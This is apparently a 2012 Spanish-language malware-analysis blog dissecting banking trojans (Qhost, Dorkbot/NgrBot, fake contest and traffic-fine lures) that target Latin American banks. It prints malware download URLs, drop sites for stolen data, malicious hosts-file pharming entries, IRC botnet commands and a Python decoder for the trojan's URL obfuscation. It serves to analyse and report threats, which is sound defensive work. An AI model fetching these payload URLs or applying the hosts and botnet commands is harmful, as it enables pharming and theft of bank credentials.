sábado, 25 de febrero de 2012

Troyano de Formulario, Gran Hermano.




Bueno, hace unos cuantos meses apareció un troyano Bancario que atacaba varias entidades Argentinas, un downloader era  enviado por email como un falso concurso de GH para ganarte algunos jugosos premios.


Ver aviso de los amigos de Segu-Info


http://blog.segu-info.com.ar/2011/10/participa-de-gran-hermano-2012-e.html






El troyano es muy parecido al troyano de las fotomultas.


http://oberheimdmx.blogspot.com/2012/02/vuelven-las-falsas-fotomultas-con.html




Con la particularidad que los datos robados son cifrados y depositados 
 en una web comprometida (hackeada) por lo que no es posible ver de que se trata.


Detalle de VirusTotal.
https://www.virustotal.com/file/d0856a0f282c670376cad9e1f071523380e9c3a320ade142a99b2ebc18a14abd/analysis/


El ejecutable esta programado en Delphi2010 y compactado con UPX.










En la imagen se puede observar un Form con los EditBox con la configuración 
cargada antes de compilar el ejecutable.




Se pudo analizar la rutina de encripción y desencripción... que Oh! casualidad
es un cut & paste de una rutina que fue posteada en un foro de Delphi Brasileño.


http://www.planetadelphi.com.br/dica/1238/rotina-para-criptografia-mais-absoluta




Por lo que no me costo nada, armar un pequeño programa en Delphi 7 para
reversar los datos que son robados...




Datos codificados para el input, descargado de una de las webs utilizadas por el troyano para enviar los datos.

Decodificando los datos con mi programa en Dalphi 7, pueden observase datos muy importantes...





Algunos de los falsos Forms que son desplegados por este troyano.


Pedido de tarjeta de coordenadas...





Que tenga algunos meses no significa que esta amenaza no siga haciendo de las
suyas con las victimas, las webs comprometidas hasta ayer estaban activas,
por lo cual fueron reportadas para su baja.




Una de estas webs tenia un RFI insólito.....




Eso es todo por hoy.... Saludos!




@Dkavalanche  2012




jueves, 23 de febrero de 2012

Qhost II - Falsa postal Terra.


Volvemos con el famoso troyano que modifica el archivo .host de la PC con el fin de reenviarnos a un sitio de phishing.


En este caso afecta a Bancos de primera linea de Perú.


Vista del falso correo recibido.


Luego de clickear en el link nos descarga un ejecutable y nos redirige a la siguiente web.




Analizando el ejecutable en VT obtenemos el siguiente ratio de deteccion:
Detecciones: 9 / 42


SHA256: 778b37592c288a2446dcaaa5ee6a6d486b27e5858f6758d2d03a0db469632cd5
SHA1: ba3ac9191b93210a1ef45e979556c3344c8917cf
MD5: 4e7bd4039f7fb2701465f34fa7ea30df
Tamaño: 68.0 KB ( 69632 bytes )
Nombre: PostalesTerra-NA-018160084-update.exe
Tipo: Win32 EXE
Detecciones: 9 / 42
Fecha de análisis: 2012-02-23 15:23:32 UTC ( hace 2 minutos )


Esta programado en Visual Basic y su código no esta ofuscado.

Aquí vemos el nombre que tomara el troyano en el sistema.



C:\WINDOWS\system32\svhchost.exe  


Un nombre parecido al proceso svchost.exe para engañar a simple vista a los observadores desprevenidos.




Aquí vemos el archivo .host que sera modificado por el troyano.





Aquí vemos donde se conectara el troyano para descargar la configuración:



http://www.vanguardiabs.com.ar/home/wp-admin/maint/AHO4K0G7LSK726KBK234H3B63V3K/end/server.php

Se trata de un servidor comprometido, "hackeado" para alojar contenido malicioso.


Datos que serán descargados y agregados a nuestro .host


activado # Copyright (c) 1993-1999 Microsoft Corp. # # Éste es un ejemplo de archivo HOSTS usado por Microsoft TCP/IP para Windows. # # Este archivo contiene las asignaciones de las direcciones IP a los nombres de # host. Cada entrada debe permanecer en una línea individual. La dirección IP # debe ponerse en la primera columna, seguida del nombre de host correspondiente. # La dirección IP y el nombre de host deben separarse con al menos un espacio. # # # También pueden insertarse comentarios (como éste) en líneas individuales # o a continuación del nombre de equipo indicándolos con el símbolo "#" # # Por ejemplo: # # 102.54.94.97 rhino.acme.com # servidor origen # 38.25.63.10 x.acme.com # host cliente x 127.0.0.1 localhost 146.0.73.124 www.viabcp.com 146.0.73.124 viabcp.com 146.0.73.124 www.bn.com.pe 146.0.73.124 bn.com.pe







Eso es todo por hoy.... Saludos!





@Dkavalanche  2012



miércoles, 15 de febrero de 2012

Vuelven las Falsas fotomultas con troyanos.

En el día de hoy se distribuyen falsos correos con intención de captar incautos con el
truco de falsas fotomultas, con sender info@multasdetransito.gov.ar”


Detalle completo en Segu-Info (ver)




Se muestran tres enlaces con distintas infracciones las cuales linkean un ejecutable desde


http://www.les-maisons-de-katy-et-jacques.com/wwwlmkj/javascript/Informe_Deuda_PDF.exe


Analizando en Virus Total vemos que tiene un indice de detección bajo.




https://www.virustotal.com/file/20a9f7a2b72881b4ac5c98ba63a88ffc6511357986a751bc0c60e1ec3c2cfdb6/analysis/


El ejecutable esta comprimido con UPX








Lo descomprimimos para analizarlo con mas detalle.






Descompilando y revisando los strings se puede observar que este ejecutable se trata
 de un Downloader que descarga otro ejecutable desde las siguientes Urls.




http://www.spaxalm.de/impressum/logitech.exe
http://www.senzabarriere.info/photo_gallery/logitech.exe
http://www.bambous-pc.com/animages/logitech.exe








Bueno bueno.... subimos el nuevo ejecutable (logitech.exe) a virus total y vemos
que también tiene una tasa de detección pequeña.




https://www.virustotal.com/file/d52476ca3b460dd6d15c1dd68442de1b6fc97223986c94b99225494de730a15d/analysis/



También compactado con UPX







Lo cargamos en el PE-Explorer y podemos observar los formularios que se interponen
simulando ser la web del banco.


El troyano, esta constantemente analizando las urls que son cargadas en el navegador, si corresponde con las que tiene identificadas para el ataque, el navegador es rápidamente minimizado y un formulario del troyano es visualizado haciéndose pasar por la Url original.


Aquí algunos de los formularios desplegados por el troyano.


















Bancos Argentinos Afectados:
Patagonia
Standard Bank
Santander Rio
Macro
Itau


Webs afectada:
Hotmail.






Se conecta con dos webs donde deja los datos robados.


http://www.cXXXXXcom/contenidos/prod_cult/escuelas/ct/media/h.php
(no funciona)


http://www.xxxxxg.com/2009/h.php

En este sitio hay dos archivos, uno de usuario/password de hotmail y el otro es un listado de IPs ( por esa razón no muestro la Url real.)



En el listado contabilice 518 usuarios de hotmail robados...








Eso es todo por hoy @bernal3r 2012


PD: Espero que no haya tanta gente laboriosa que cargue toda la tarjeta de coordenadas... si si... lo se... los hay... y muchos..... :S

lunes, 6 de febrero de 2012



Dorkbot / NgrBot (Parte II)




En el día de ayer me reenviaron un mail de un supuesto video de la CNN Chile
con subject: "Sexo masivo en playa nudista" el cual tiene un link a un ejecutable.




Link:
hxxp//www.sistemadegestion.cl/cnnchileactualidad.php

Descarga del troyano.
hxxp://www.cravattificioitaliano.it/includes/languages/cnnchile.exe

(actualizado hxxp://megamovimientos.com/web/cnnchileactualidad.exe)

Imagen hot...
hxxp://kodra-tron.hr/images/video.jpg


Evidentemente se trata de un troyano.... adivinen... Dorkbot...

Enviando la muestra a Virus Total me entrega lo siguiente:




SHA256: aa995b1472ad73b781c40b9c6c4ab83d3bdd781b07256345d77b9e24b2812eee
Nombre: cnnchile.exe
Detecciones: 9 / 42
Fecha de análisis: 2012-02-06 03:08:25 UTC ( hace 0 minutos )



Un pequeño vistazo con un editor Hexadecimal me muestra que esta compactado con UPX .

Lo desempacamos con UPX.

Ultimate Packer for eXecutables

Copyright (C) 1996 - 2011

UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011

        File size Ratio Format Name
   -------------------- ------ ----------- -----------

204800 <- 157696 77.00% win32/pe cnnchile.exe

Unpacked 1 file.



Lo cargo en el Ollydbg y veo que tiene una capa de encripcion realizada con un Crypter en C++


Lo desencripto obteniendo el fichero original.





000586C8 | 61 69 6E 20 72 65 61 73 | ain reas |
000586D0 | 6F 6E 73 3A 0D 0A 2D 20 | ons:..-  |
000586D8 | 79 6F 75 20 73 74 75 70 | you stup |
000586E0 | 69 64 20 63 72 61 63 6B | id crack |
000586E8 | 65 72 0D 0A 2D 20 79 6F | er..- yo |
000586F0 | 75 20 73 74 75 70 69 64 | u stupid | 
000586F8 | 20 63 72 61 63 6B 65 72 |  cracker | 
00058700 | 2E 2E 2E 0D 0A 2D 20 79 | .....- y | 
00058708 | 6F 75 20 73 74 75 70 69 | ou stupi | 
00058710 | 64 20 63 72 61 63 6B 65 | d cracke | 
00058718 | 72 3F 21 0D 0A 00 00 00 | r?!..... | 
00058720 | 6E 67 72 42 6F 74 20 45 | ngrBot E | 
00058728 | 72 72 6F 72 00 00 00 00 | rror.... | 
00058730 | 73 68 65 6C 6C 33 32 2E | shell32. | 
00058738 | 64 6C 6C 00 22 00 25 00 | dll.".%. | 
00058740 | 73 00 22 00 20 00 25 00 | s.". .%. | 
00058748 | 53 00 00 00 6D 73 67 00 | S...msg. | 


Analizando el Trafico de red del bot, el mismo se 
conecta al servidor de IRC 173.224.220.218:1863 con 
usuario  = hzbcoct
password = secret
luego hace un join a los canales #bots y #ar a la espera de comandos.

Log..........................................................
[06/02/2012 1:05:01:680]
PASS secret
NICK n{AR|XPa}hzbcoct
USER hzbcoct 0 0 :hzbcoct

[06/02/2012 1:05:02:181]
:001 get.lost
002 002 002
003 003 003
004 004 004
005 005 005
005 005 005
005 005 005
PING 422 MOTD

[06/02/2012 1:05:02:181]
JOIN #bots priv8s

[06/02/2012 1:05:02:422]
:n{AR|XPa}hzbcoct!hzbcoct@190.172.106.28 JOIN :#bots
:get.lost 332 n{AR|XPa}hzbcoct #bots :!s
:get.lost 333 n{AR|XPa}hzbcoct #bots xarnas 1328495090

[06/02/2012 1:05:02:422]
JOIN #AR 

[06/02/2012 1:05:02:662]
:n{AR|XPa}hzbcoct!hzbcoct@190.172.106.28 JOIN :#AR

Log.......................................................

Quedo a la espera de comandos pero nada... se ve que el botmaster es medio vago.


Al otro día me conecto con un cliente IRC y se pueden ver dos comandos, uno para descargar un ejecutable (update bot) y otro para realizar pharming al Banco davivienda.com


Nuevo ejecutable en http://jjij.in/nr.exe

Lo bajo y analizo en VT



SHA256: 1ecf4c538676040b7b704f2f13484ffbe6b65d860c46f0f7096679215e6beeef
Nombre: nr.exe
Detecciones: 2 / 43
Fecha de análisis: 2012-02-06 22:37:42 UTC ( hace 1 hora, 38 minutos )

Paso a tener menos detecciones que el anterior.

Analizamos....Idem anterior UPX + Crypter..



Desencriptamos con Ollydbg.... y.... es otro Dorkbot...





Actualización 10/02/2012!!! --------------------------


Nuevo binario.

 http://jjij.in/nr.exe


SHA256:5b2f9ddca23818ce79113d1bab8f8ccd4a1cafbd5d7710b01ed7133cbe97fe75
File name:nr.exe
Detection ratio:1 / 43
Analysis date:2012-02-10 23:00:29 UTC ( 19 minutes ago )



Si!!! Otro DorkBot pero con otro tipo de ofuscación, ya no tiene le clásico UPX (este resulto mas fácil destriparlo...jaja)






Nuevo pharming




Comunicación de los Bots con el IRC

PASS secret
NICK n{AR|XPa}cnrsibx
USER cnrsibx 0 0 :cnrsibx

[10/02/2012 20:54:11:472]
:001 get.lost
002 002 002
003 003 003
004 004 004
005 005 005
005 005 005
005 005 005
PING 422 MOTD

[10/02/2012 20:54:11:472]
JOIN #bots priv8s

[10/02/2012 20:54:11:683]
:n{AR|XPa}cnrsibx!cnrsibx@190.172.96.15 JOIN :#bots
:get.lost 332 n{AR|XPa}cnrsibx #bots :!s
:get.lost 333 n{AR|XPa}cnrsibx #bots alive 1328908290

[10/02/2012 20:54:11:683]
JOIN #AR 

[10/02/2012 20:54:11:893]
:n{AR|XPa}cnrsibx!cnrsibx@xxx.xxx.xxx.xxxJOIN :#AR

El topic para #bots es !s !up http://jjij.in/nr.exe 84280c20f5e9b2dad083e42b0a0a3b11 !mdns http://jjij.in/DNS.txt


De lo que se observa:
 el comando !up para updatear el ejecutable
 el comando !mdns modificar dns, cargando los sitios de phishing al archivo .host


Eso es todo por hoy.... Saludos!




@Dkavalanche  2012



martes, 31 de enero de 2012

Qhost - Postal de Amor

Hoy les traigo este pequeño troyano Qhost, programado en Visual Basic.Net.
Es enviado en forma masiva por e-mail con subject : "Postal de Amor",  con fines
de atrapar a incautos mediante ingeniería social.


hxxp://176.9.192.196/gusanito.com/nuevo/Mensaje_Amor.exe
hxxp://176.9.192.196/gusanito.com/nuevo/mensaje.php

Virus Total:

SHA256: 5cc9ba24efbff1b02199368f52bc0972ee7233905707b21f5263f0fe943ba054
Nombre: Mensaje_Amor.exe  
Detecciones: 2 / 43 
Icono del Troyano.


Lo cargo en el IDA y veo que no esta ofuscado con Crypters ni Packers, 
solo noto que las Urls donde se descarga la configuración del Phishing
si esta encriptado por programa.

- llave de autoarranque

  loc_402741: push "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 

"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" 

- Nombre que tendrá el troyano

  loc_402752: push "C:\WINDOWS\system32\drivers\poraca.exe"  

-Archivo .host para realizar el pharming

  loc_40275B: push "C:\Windows\System32\drivers\etc\hosts" 

- Url encriptada

  loc_402765: push "icdE5//oEZW4.Ñ\cÑEEcMQÑV92z/wl//qD-1DtDu:1ñ/CTJhwR/orñYLmZ/NnZ5_Ed5c0ppaZHa" 

- llamada a desencriptar la url

  loc_40276A: callvirt DesEncriptarCadena    

- Url encriptada

"x\EHp//VtvÑHd4d4syeGQ/_7bzFÑJ/2Q:vJ/AVvAuDO/CT6Cm/Bn3/NoñN._jZNjHrHfpo.p" 

- llamada a desencriptar la url

  loc_402779: callvirt DesEncriptarCadena 




Encuentro dos cadenas mas, las que perteneces al procedimiento de encripcion y desencripcion de las urls.

  loc_4026E9: push "ABCDEFGHIJKLMNÑOPQRSTVWXYZ\abcdefg:.hijklmnñopqrstvwxyz1234567890"
  loc_4026EE: stfld patron_busqueda
  loc_4026F3: push Me
  loc_4026F4: push "ÑPbQ9GsWAFVtvM7:g1JlX6IDwhC3qBSTmOnñkLrYKNRxopij5.Za84eHf\Eycd0z2"
  loc_4026F9: stfld Patron_encripta


Rutinas de desencripcion:

DesEncriptarCadena

  Code: FatFormat
  Start: 402F9C
  Size: 51
  Flag: InitLocals
  Max Stack: 5
  Local Variables: 11000020

  loc_402F9C: ldc.i4.0 - Push 0 onto the stack as int32.
  loc_402F9D: push cadena
  loc_402F9E: callvirtget_Length
  loc_402FA3: ldc.i4.1   - Push 1 onto the stack as int32.
  loc_402FA4: sub.ovf   - Subtract native int from a native int. Signed result shall fit in same size
  loc_402FA5: stloc.3 - Pop a value from stack into local variable 3.
  loc_402FA6: stloc.1 - Pop a value from stack into local variable 1.
  loc_402FA7: br.s loc_402FC9 - Branch to target, short form loc_402FC9
  loc_402FA9: ldloc.2 - Load local variable 2 onto stack.
  loc_402FAA: push Me
  loc_402FAB: push cadena
  loc_402FAC: ldloc.1   - Load local variable 1 onto stack.
  loc_402FAD: ldc.i4.1 - Push 1 onto the stack as int32.
  loc_402FAE: callvirt Substring
  loc_402FB3: push cadena
  loc_402FB4: callvirt get_Length
  loc_402FB9: ldloc.1 - Load local variable 1 onto stack.
  loc_402FBA: callvirt DesEncriptarCaracter
  loc_402FBF: call Concat
  loc_402FC4: stloc.2 - Pop a value from stack into local variable 2.
  loc_402FC5: ldloc.1 - Load local variable 1 onto stack.
  loc_402FC6: ldc.i4.1 - Push 1 onto the stack as int32.
  loc_402FC7: add.ovf - Add signed integer values with overflow check.
  loc_402FC8: stloc.1 - Pop a value from stack into local variable 1.
  loc_402FC9: ' Referenced from: 402FA7
  loc_402FC9: ldloc.1 - Load local variable 1 onto stack.
  loc_402FCA: ldloc.3 - Load local variable 3 onto stack.
  loc_402FCB: ble.s loc_4030A9 - Branch to target if less than or equal to, short form.
  loc_402FCD: ldloc.2 - Load local variable 2 onto stack.
  loc_402FCE: ret








DesEncriptarCaracter

  Code: FatFormat
  Start: 402FDC
  Size: 136
  Flag: InitLocals
  Max Stack: 3
  Local Variables: 11000021

  loc_402FDC: push Me
  loc_402FDD: ldfld Patron_encripta
  loc_402FE2: push caracter
  loc_402FE3: callvirt IndexOf
  loc_402FE8: ldc.i4.m1ldc.i4.M1
  loc_402FE9: beq.s loc_403062
  loc_402FEB: push Me
  loc_402FEC: ldfld Patron_encripta
  loc_402FF1: push caracter
  loc_402FF2: callvirt IndexOf
  loc_402FF7: push variable
  loc_402FF8: sub.ovf
  loc_402FF9: push a_indice
  loc_402FFA: sub.ovf
  loc_402FFB: ldc.i4.0
  loc_402FFC: ble.s loc_40301D
  loc_402FFE: push Me
  loc_402FFF: ldfld Patron_encripta
  loc_403004: push caracter
  loc_403005: callvirt IndexOf
  loc_40300A: push variable
  loc_40300B: sub.ovf
  loc_40300C: push a_indice
  loc_40300D: sub.ovf
  loc_40300E: push Me
  loc_40300F: ldfld Patron_encripta
  loc_403014: callvirt get_Length
  loc_403019: rem
  loc_40301A: stloc.1
  loc_40301B: br.s loc_403046
  loc_40301D: ' Referenced from: 402FFC
  loc_40301D: push Me
  loc_40301E: ldfld patron_busqueda
  loc_403023: callvirt get_Length
  loc_403028: push Me
  loc_403029: ldfld Patron_encripta
  loc_40302E: push caracter
  loc_40302F: callvirt IndexOf
  loc_403034: push variable
  loc_403035: sub.ovf
  loc_403036: push a_indice
  loc_403037: sub.ovf
  loc_403038: push Me
  loc_403039: ldfld Patron_encripta
  loc_40303E: callvirt get_Length
  loc_403043: rem
  loc_403044: add.ovf
  loc_403045: stloc.1
  loc_403046: ' Referenced from: 40301B
  loc_403046: ldloc.1
  loc_403047: push Me
  loc_403048: ldfld Patron_encripta
  loc_40304D: callvirt get_Length
  loc_403052: rem
  loc_403053: stloc.1
  loc_403054: push Me
  loc_403055: ldfld patron_busqueda
  loc_40305A: ldloc.1
  loc_40305B: ldc.i4.1
  loc_40305C: callvirt Substring
  loc_403061: ret
  loc_403062: ' Referenced from: 402FE9
  loc_403062: push caracter
  loc_403063: ret


Me lo puse a analizar para hacer un desencriptor en python, pero......no hizo falta mucho análisis. 
El codigo utilizado por el programador del troyano es un cut & paste del siguiente codigo en VB.
(es Calcado 100%)

http://www.devjoker.com/print/Articulos/2/Articulos.aspx

Igualmente arme el desencriptor... en python, para el que lo quiera probar.


#Decode data Gusanito
# -*- coding: iso-8859-15 -*-
base =       'ABCDEFGHIJKLMNÑOPQRSTVWXYZ\\abcdefg:.hijklmnñopqrstvwxyz1234567890';
patron_dec = 'ÑPbQ9GsWAFVtvM7:g1JlX6IDwhC3qBSTmOnñkLrYKNRxopij5.Za84eHf\Eycd0z2';

cadena  =    "icdE5//oEZW4.Ñ\cÑEEcMQÑV92z/wl//qD-1DtDu:1ñ/CTJhwR/orñYLmZ/NnZ5_Ed5c0ppaZHa"; #cadena a desencriptar

#cadena  =    'x\EHp//VtvÑHd4d4syeGQ/_7bzFÑJ/2Q:vJ/AVvAuDO/CT6Cm/Bn3/NoñN._jZNjHrHfpo.p';
salida = '';
def decc(caracter, variable, indice): 
    if patron_dec.find(caracter) <> - 1 :
                if ((patron_dec.find(caracter)) - variable - indice) > 0:
                        indice = ((patron_dec.find(caracter)) - variable - indice) % (len(patron_dec))
                        
                else:
                        indice = ((len(base)) + ((((patron_dec.find(caracter)) - variable - indice)) % (len(patron_dec))))
                indice = (indice % (len(patron_dec)))
                caracter = base[indice]
                                               
    else:
         caracter = caracter;
    
    return caracter;
              
length = len(cadena);
for i in range(length):
           salida += decc(cadena[i],i,length);
       
print salida;  






La cadena 

icdE5//oEZW4.Ñ\cÑEEcMQÑV92z/wl//qD-1DtDu:1ñ/CTJhwR/orñYLmZ/NnZ5_Ed5c0ppaZHa"

desencripta como:
http://alexfang.kedesign.ca/wp//wp-includes/images/smilies/icom_twisted.gif



La cadena:

x\EHp//VtvÑHd4d4syeGQ/_7bzFÑJ/2Q:vJ/AVvAuDO/CT6Cm/Bn3/NoñN._jZNjHrHfpo.p"

desencripta como:
http://777singles.com/_themes/admin/default/login/img/print_printerr.gif


los .GIF en realidad son archivos .TXT


69.194.196.3 www.viabcp.com
69.194.196.3 viabcp.com
69.194.196.3 bcpzonaseguras.viabcp.com
69.194.196.3 www.bbvabancocontinental.com
69.194.196.3 bbvabancocontinental.com
69.194.196.3 bn.com.pe
69.194.196.3 www.bn.com.pe
69.194.196.3 www.bancochile.cl
69.194.196.3 ww3.bancochile.cl





Es todo por el momento.

@Dkavalanche  2012




 Hola, me mudé a medium .... nos vemos!!! FELIZ 2022!!!